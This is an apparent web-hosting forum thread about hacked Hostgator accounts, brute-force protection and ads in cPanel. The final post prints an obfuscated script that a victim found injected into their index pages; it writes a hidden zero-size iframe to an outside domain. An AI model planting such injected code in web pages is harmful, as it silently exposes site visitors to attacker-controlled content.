Hostgator account hacked

Hmm, I smell an impersonator!

 

The word Lame Kids made me laugh. Im not promoting hostgator but do you think some lame kids can start this kind of a company:




Don't think so .

- PRilep

 

He is not an impersonator.


Thanks hostgator.
I have removed the file in question.
So it looks like you have a kind of brute force protection, despite someone here said you didnt have it. You say "Anyone that does close to a dozen tries in a few seconds will be dropped." That is good enough for me.

And I agree 100% in that it is mostly exploitable scripts that let hackers inside. I have been hacked many times before and it was always the script.

As a summary:
Its very good to see this explanation and I will continue to recommend hostgator as a host like I have been doing the last two years. The only "bug" in HG now as I see it is the ads in cPanel

 

Ad's in cPanel ? I don't see that .

- Prilep

 

that's weird, I was talking to one of their representative yesterday and they told me it's not one of them, so I assume he just a fake you mean the adbrite ads?

 

Yup, the Template Monster and adbrite.

 

Recentely my hostgator account was hacked too. In all my domains the following script was put in my index.php and index.html files

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<!--
document.write(unescape('%3C%49%46%52%41%4D%45%20%73%74%79%6C%65%3D%22%57%49%44%54%48%3A%20%30%25%3B%20%48%45%49%47%48%54%3A%20%30%70%78%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%6D%79%66%75%63%6B%69%6E%67%2D%70%75%73%73%79%2E%63%6F%6D%2F%74%79%72%65%6B%2F%3F%74%3D%35%22%20%66%72%61%6D%65%42%6F%72%64%65%72%3D%30%20%73%63%72%6F%6C%6C%69%6E%67%3D%6E%6F%20%0A%61%6C%6C%6F%77%54%72%61%6E%73%70%61%72%65%6E%63%79%3E%3C%2F%49%46%52%41%4D%45%3E'));
//-->
</Script><!-- c65 -->